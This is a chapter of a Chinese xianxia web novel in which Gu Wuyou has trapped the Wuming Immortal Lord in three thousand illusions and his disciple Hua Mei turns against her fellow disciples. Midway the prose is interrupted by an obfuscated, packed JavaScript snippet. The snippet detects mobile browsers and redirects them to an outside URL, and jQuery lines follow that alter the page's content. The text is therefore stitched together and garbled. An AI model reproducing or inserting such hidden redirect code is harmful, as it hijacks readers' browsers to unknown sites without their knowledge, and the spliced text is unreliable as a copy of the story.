“你们把无冥仙尊弄去了哪里?!”
底下司罪皆怒意喷薄,更有甚者,居然直接开口质问安然迈上台阶的顾无忧,“你动了什么手脚?为何他突然消失了?!”
顾无忧不屑一顾:“嗯,你说仇星群?显而易见,他仍旧待在归岸呐。”
他们当然不信。
“睁眼说瞎话……”
“欺世盗名的无耻骗徒!”
“顾无忧,趁早伏诛吧!”
自打仇星群当着众目睽睽“揭露”她的伪装,那群对顾无忧毕恭毕敬的司罪也瞬间改换嘴脸。
因而,现在司罪之中有人直呼她大名,顾无忧一点儿都不惊讶。
相反,她还很享受观赏他们急得跳脚的滑稽模样。
顾无忧动动手指,在思过坛的台上起了一座简单石椅,然后——
光明正大坐下。
坐在最上首。
……等等。
她、坐、下、了??!
她这么嚣张?她把思过坛当成什么悠闲自在的地方?
某个义愤填膺的司罪见状,急步前行,刚想斥她,却被一柄锋利横刀指着脖颈逼退回去。
来者正是伏惑。
他面无表情。其空无一物的细锐眼瞳,只为那张好看分明的面庞徒添漠然。
这便让人不由相信,倘若不识好歹,再要继续对顾无忧说三道四,大概真的会就此命丧黄泉。
“你……!”司罪有苦难言,只得忍着憋屈乖乖闭嘴。
立在台阶下的伏惑,这才沉默收刀。
气氛因寂静而过分紧张,倒是立足台阶另一头的樊枝抻了个懒腰,轻快打破僵持:“神女大人暂且留你们一命,都这种时候,不想着感恩戴德地投降,还在等什么?”
“……”司罪不满樊枝傲慢的态度,“你小子怎么叛变啊?我们不是同门吗?”
樊枝一顿:“哦,差点儿忘了。”
旋即,随手揭下面具,露出勾魂夺魄的脸孔,他又将面具丢落地面:“看清楚没?请问,我是你们哪个同门?”
司罪们瞠目结舌。
顾无忧……简直卑鄙至极!
竟然往他们中间安插奸细?!
“等到无冥仙尊回来,他一定不会放任你们胡作非为!”
“等他回来?我不是说过了吗,他本来就在归岸啊。”
顾无忧遗憾摇头,好心告知他们残酷的现实,“不过是,另一个归岸。”
“什么?另一个?”
她道:“归根结底,此世会罗织幻影的人,不止他仇星群一个。”
司罪似懂非懂:“你的意思莫非是,你把无冥仙尊关进了你捏造的幻境里?”
顾无忧开心地打个响指:“恭喜,答对咯!”
“……”
邪门了,她什么时候动的手?
为何没人察觉异样?竟连仙尊都被蒙混过去?
但是眼下迫在眉睫,追溯这些细节已经毫无意义。
司罪咬牙道:“顾无忧,就算你把无冥仙尊关进幻境又如何?你觉得,凭他的实力难道解不开你那小小枷锁?”
顾无忧由衷赞同,做作地畏而叹息:“是啊,你所说的,我同样想到了……”
自以为是的小花招,在毋庸置疑的实力面前,确实显得愚蠢。
不过还好,对自身实力自以为是的人,是仇星群,而非她。
“无冥仙尊修为深不可测,如果不小心放他出来,我一个手无缚鸡之力的弱女子,绝对死定啦!”
“所以,出于保险,我给他围了好几层幻境。”她轻飘飘道,“数量嘛,不算多,才三千而已。”
司罪大骇:“……三千?!!”
这女人疯了吗?
顾无忧颔首,目光沉沉:“我想……他就算生劈硬砍,也要费点儿时辰,对吧?”
“……”何止费点儿时辰?
万一比较倒霉,几年、十几年、几十年寿命,估计都要耗费在里头。
顾无忧不是凡人身么?那她的力量究竟从何而来?怎么好像毫无竭尽啊?!
生造三千幻境,于她而言,竟也只是易如反掌的小事吗?
这、这怎么可能?
绝对不可能!
她吹牛吧?
“总之,烦请诸位先忘记仇星群。”
顾无忧提醒各位司罪,“现在来之不易的空闲,该是我们推心置腹的时间才对。”
他们闻言,一刹警铃大作,立马纷纷召出长剑。
亦有司罪忙急切呼唤:“宛师妹,你还在那边发什么愣,快过来!”
……
画玫总算回神。
事出突然,施法治疗完晕厥的燕火,再抬眼间,师尊已不知所踪。
所以,她手足无措僵坐原地,迫不得已看完了整场对峙。
方才,她的视线一直仓皇游离——
自顾无忧和煦从容的侧颜,到燕火苍白的脸颊,再到其他司罪愤怒的声讨……
最后,她又转到其余在场瑟瑟发抖、不敢作声的外门生徒。
画玫恍惚许久。
直至如今,她的神思才算被彻底唤回。
“师妹,快远离那些可恶的骗徒!!”
画玫一点点攥紧指节。
她缓缓闭眼,有些痛苦地咬住下唇,嗫嚅道:“远离……骗徒……”
对啊,骗徒。
他们精心标榜、欺骗自己至此,怎么不算卑劣呢?
道貌岸然的骗徒,就该付出代价吧?
仅犹疑片刻,画玫起身,亦拔出佩剑,走下台阶,走向同僚。
画玫低垂环绕的翅羽上,那片化不开、抹不掉的浓烈猩红,愈发狰狞夺目。
燕火的血,已经凝固。仿佛此刻,它成了一枚深刻的烙印,挥之不去。
距离同僚两丈之遥,画玫又倏地停步,瞥向顾无忧。
伏惑和樊枝,不禁蹙眉,因为猜不出她想要做什么,于是,霎时,不约而同皆朝她聚集目光,似因对方的动作颇为防范。
顾无忧则与她对视,干脆予以一个可谓温柔的笑容。
大抵此时此刻,哪怕画玫不顾一切违背约定,顾无忧也不会责备她什么。
画玫眸光闪烁,深深呼吸。
伏惑持刀的手腕绷紧。
然而,出乎意料……她却转过身。
面对各位师兄师姐。
正好,画玫站在顾无忧的前列。
其所处之地,为数十剑尖所指,恰在被口诛笔伐的漩涡中心。
她抬手竖剑,剑身如镜,倒映眼底汹涌的暗潮,一览无余。
“…
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270497|183267||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…宛师妹?你?”
司罪们本都以为,宛画玫作为同门,会不假思索站队过来。
结果丝毫没有料到,她猝不及防搞了个大转弯。
有人不解,质问此举,“宛师妹,你这是何意?你是打算背叛浮岛吗?”
画玫镇定回答:“不。依照你们所言,我在远离骗徒。”
“哈???”
画玫清晰补充:“是的。真正犯下欺骗之罪的人,应该是你们、是师尊。”
司罪你看看我、我看看你,不懂她话语里头的离奇意思:“你说什么啊?宛师妹,你不要被那歹人带偏!无冥仙尊用决想戳破了,她不是天道!”
“那么,师尊接受天道指引一事,其实同样是假的?”画玫的语气生冷得可怕,“难道,一直以来,师尊都打着虚假的天道名义,以行使他自己私欲,是不是??!”
他们无言以对,不知如何解释:“这、这……怎么会呢……他只是……”
“而且我有眼睛,我看得很清楚。”
“这里根本不是消解罪业的净土,这里分明是累积痛苦的地狱。”
画玫一字一句道,“因为,一片真正的净土,不会逼人以自我了断的方式逃离。”
说着说着,她的眼泪不由自主、悄无声息落下来:“而我……我也不想成为,迫使无辜之人走上绝路的刽子手!”
她经历过刻骨铭心的伤害与死亡。
无数次午夜梦回,那场无法挽回的惨烈画面,还历历在目,不可磨灭。
她曾经为之终日惶惶、泣不成声。
只要记起,便觉心如刀割。
所以,伤害从来即是伤害。
又怎么可以冠冕堂皇粉饰为救赎?!
更何况,从踏入御戾岛开始,画玫始终憧憬成为的,就是像师尊那样,救死扶伤的高尚修者……
而非罔顾他人性命的屠夫啊。
如果要她选择麻木,那她如何对得起过去的自己?
“师妹!”与她对立的师兄忍不住厉声怨怼,“你到底被灌了什么迷魂汤??”
“特地带你去凡间一趟,你难道不懂,是他们有错在先,才会被关进归岸吗?”
“他们,都是在为自己的错误赎罪!”
错误?赎罪?
画玫轻笑一声,用手背用力擦去眼泪。
她微微点头,全然不顾对方所言:“嗯……既然如此,如今我们每一人,也都必须为自己的错误,赎罪!”
“宛画玫,你!!”
昔日师兄师姐,不由对她固执的盲从恼羞成怒,“你执意维护顾无忧,甚至不惜与我们为敌……?”
最后,见说不通,他们只得放弃无用的讲理:“行,多说无益。不如直接以剑来论个对错!”
“正有此意!”
画玫凝神聚灵,顺势扬手,掐定剑决,掷下赫赫巍巍的剑光。
风浪翻涌,杀意卷积。她却于兵刃利器之间挺立,衣袂翩跹,身形如松。
气定神闲。
那般沉着姿态,反倒不经意间,让顾无忧在画玫身上窥见了某位熟人的影子。
“果然不愧为师徒……”
感慨过后,顾无忧对身旁一同看戏的两位吩咐,“以少敌多,总归境地不太有利。去帮帮她吧。”
“是。”